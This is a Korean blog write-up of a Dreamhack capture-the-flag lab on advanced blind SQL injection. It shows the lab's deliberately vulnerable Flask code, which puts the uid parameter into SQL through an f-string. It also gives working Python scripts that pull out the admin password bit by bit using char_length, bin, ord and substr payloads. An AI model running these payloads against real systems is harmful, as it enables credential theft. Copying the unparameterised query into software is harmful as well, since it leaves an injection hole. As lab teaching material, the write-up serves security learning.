웹해킹

드림핵 blind sql injection advanced 롸업

bluesunset 2023. 12. 2. 16:51

비밀번호가 아스키코드와 한글로 구성되어 있다고 나와있다.

한글의 조합 경우의 수가 너무 많기 때문에 모든 문자에 대한 브루트포싱은 비효율적이다.

비트 연산을 이용해서 비밀번호의 비트를 알아내는 방식으로 공격해야 한다.

CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `user_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;

init.sql을 확인해보면 admin 계정의 비밀번호가 flag임을 알 수 있다.

 

@app.route('/', methods=['GET'])
def index():
    uid = request.args.get('uid', '')
    nrows = 0

    if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

    return render_template_string(template, uid=uid, nrows=nrows)

GET 방식으로 받은 uid 값이 그대로 SQL구문에 들어간다.

template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
{% if nrows == 1%}
    <pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''

쿼리의 참, 거짓만 알 수 있기 때문에 blind sql injection을 이용해야 한다.

nrows==1 일 때만 결과를 출력하기 때문에 limit을 이용해야 한다.

 

우선 비밀번호의 길이를 알아야 한다.

length 함수는 바이트 형태의 길이를 반환하기 때문에 아스키코드로 구성되어 있지 않다면 틀린 값이 반환된다.

정확한 길이를 알기 위해서 char_length 함수를 사용해야 한다.

from requests import get

host = "http://host3.dreamhack.games:15487/"

password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")

이렇게 코드를 작성하면 된다.

char_length가 password_length 변수와 일치하지 않으면 password_length를 계속 증가시키고

일치하면 그때 password_length 값이 비밀번호의 길이이니까 출력한다.

비밀번호의 각 문자를 비트로 표현했을 때 그 길이도 알아야 한다.

for i in range(1, 14):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")

앞에서 비밀번호의 길이가 13으로 나왔기 때문에 반복문의 범위는 저렇게 설정하였다.

비밀번호의 i번째 문자를 substr로 가져오고 이를 ord, bin 함수로 비트로 바꿔준 다음 length 함수를 사용했다.

이렇게 각 문자의 비트 길이를 알아냈다.

이제 각 문자의 비트 값을 알아내야 한다.

bits = ""
for j in range(1, bit_length + 1):
    query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        bits += "1"
    else:
        bits += "0"
print(f"character {i}'s bits: {bits}")

substr로 upw의 i번째 문자를 가져와서 비트로 바꿔주고 그 비트의 j번째 값을 substr로 가져온다.

이런 식으로 나오는데 이제 비트 값을 다시 문자로 변환해야 한다.

password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

비트를 정수로 변환하고 바이트 배열로 변환한 뒤에 utf-8 문자열로 디코딩한다.

여기서 to_bytes 함수에서 (bit_length+7)//8이 인자로 들어가는 것은 필요한 바이트 수를 계산하는 과정이다.

 

마지막으로 구해진 password 값이 flag이다.

(vscode에서 실행하면 깨지는데 터미널에서 실행하면 정상적으로 나온다.)